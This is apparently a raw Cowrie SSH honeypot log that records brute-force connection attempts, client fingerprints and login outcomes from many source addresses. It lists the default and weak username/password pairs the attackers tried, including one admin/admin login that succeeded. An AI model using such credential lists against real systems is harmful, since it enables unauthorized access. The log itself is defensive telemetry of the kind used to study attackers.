{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:57.261116Z","src_ip":"130.12.180.51","session":"a896599890e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:02:57.800024Z","src_ip":"130.12.180.51","session":"a896599890e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.152","src_port":1088,"dst_ip":"10.17.0.5","dst_port":22,"session":"e753419543b3","protocol":"ssh","message":"New connection: 45.148.10.152:1088 (10.17.0.5:22) [session: e753419543b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:03.230817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:03.236054Z","src_ip":"45.148.10.152","session":"e753419543b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:03.324993Z","src_ip":"45.148.10.152","session":"e753419543b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:03.709069Z","src_ip":"45.148.10.152","session":"e753419543b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":36406,"dst_ip":"10.17.0.5","dst_port":22,"session":"23f1d1ce788e","protocol":"ssh","message":"New connection: 79.143.189.125:36406 (10.17.0.5:22) [session: 23f1d1ce788e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:10.548044Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:10.553268Z","src_ip":"79.143.189.125","session":"23f1d1ce788e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:10.648306Z","src_ip":"79.143.189.125","session":"23f1d1ce788e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:11.055962Z","src_ip":"79.143.189.125","session":"23f1d1ce788e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:12.153242Z","src_ip":"79.143.189.125","session":"23f1d1ce788e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.233.218.160","src_port":32822,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a8786a2fda5","protocol":"ssh","message":"New connection: 45.233.218.160:32822 (10.17.0.5:22) [session: 2a8786a2fda5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:15.644889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:15.653451Z","src_ip":"45.233.218.160","session":"2a8786a2fda5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:15.789900Z","src_ip":"45.233.218.160","session":"2a8786a2fda5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adnan","password":"adnan","message":"login attempt [adnan/adnan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:16.357582Z","src_ip":"45.233.218.160","session":"2a8786a2fda5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:17.495094Z","src_ip":"45.233.218.160","session":"2a8786a2fda5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":56760,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d272bf1fa42","protocol":"ssh","message":"New connection: 89.108.118.91:56760 (10.17.0.5:22) [session: 1d272bf1fa42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:19.118955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:19.125479Z","src_ip":"89.108.118.91","session":"1d272bf1fa42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:19.265017Z","src_ip":"89.108.118.91","session":"1d272bf1fa42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dkfl","message":"login attempt [root/dkfl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:19.675530Z","src_ip":"89.108.118.91","session":"1d272bf1fa42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:20.815012Z","src_ip":"89.108.118.91","session":"1d272bf1fa42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":45252,"dst_ip":"159.203.135.109","dst_port":22,"session":"edfec98a0ef7","protocol":"ssh","message":"New connection: 85.11.167.46:45252 (159.203.135.109:22) [session: edfec98a0ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:26.331771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:26.336249Z","src_ip":"85.11.167.46","session":"edfec98a0ef7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:26.422080Z","src_ip":"85.11.167.46","session":"edfec98a0ef7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1234","message":"login attempt [root/admin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:26.673963Z","src_ip":"85.11.167.46","session":"edfec98a0ef7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:27.761097Z","src_ip":"85.11.167.46","session":"edfec98a0ef7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":50062,"dst_ip":"10.17.0.5","dst_port":22,"session":"c400c6c16aa1","protocol":"ssh","message":"New connection: 50.116.72.139:50062 (10.17.0.5:22) [session: c400c6c16aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:30.769434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:30.774359Z","src_ip":"50.116.72.139","session":"c400c6c16aa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:30.800069Z","src_ip":"50.116.72.139","session":"c400c6c16aa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789z","message":"login attempt [root/123456789z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:30.931370Z","src_ip":"50.116.72.139","session":"c400c6c16aa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:03:31.965628Z","src_ip":"50.116.72.139","session":"c400c6c16aa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":45592,"dst_ip":"10.17.0.5","dst_port":22,"session":"fa026e08ec18","protocol":"ssh","message":"New connection: 78.44.192.210:45592 (10.17.0.5:22) [session: fa026e08ec18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:04:31.153650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:04:31.166485Z","src_ip":"78.44.192.210","session":"fa026e08ec18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:04:31.271444Z","src_ip":"78.44.192.210","session":"fa026e08ec18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"sysadmin2023","message":"login attempt [sysadmin/sysadmin2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:04:31.694546Z","src_ip":"78.44.192.210","session":"fa026e08ec18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:04:32.812843Z","src_ip":"78.44.192.210","session":"fa026e08ec18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":34492,"dst_ip":"10.17.0.5","dst_port":22,"session":"66cd78417b7d","protocol":"ssh","message":"New connection: 45.165.238.2:34492 (10.17.0.5:22) [session: 66cd78417b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:04:42.686709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:04:42.691654Z","src_ip":"45.165.238.2","session":"66cd78417b7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:04:43.149061Z","src_ip":"45.165.238.2","session":"66cd78417b7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456.","message":"login attempt [root/A123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:04:43.660085Z","src_ip":"45.165.238.2","session":"66cd78417b7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.116.72.139","src_port":35258,"dst_ip":"10.17.0.5","dst_port":22,"session":"6312d8a03365","protocol":"ssh","message":"New connection: 50.116.72.139:35258 (10.17.0.5:22) [session: 6312d8a03365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:04:43.999211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:04:44.003770Z","src_ip":"50.116.72.139","session":"6312d8a03365","protocol":"ssh"}
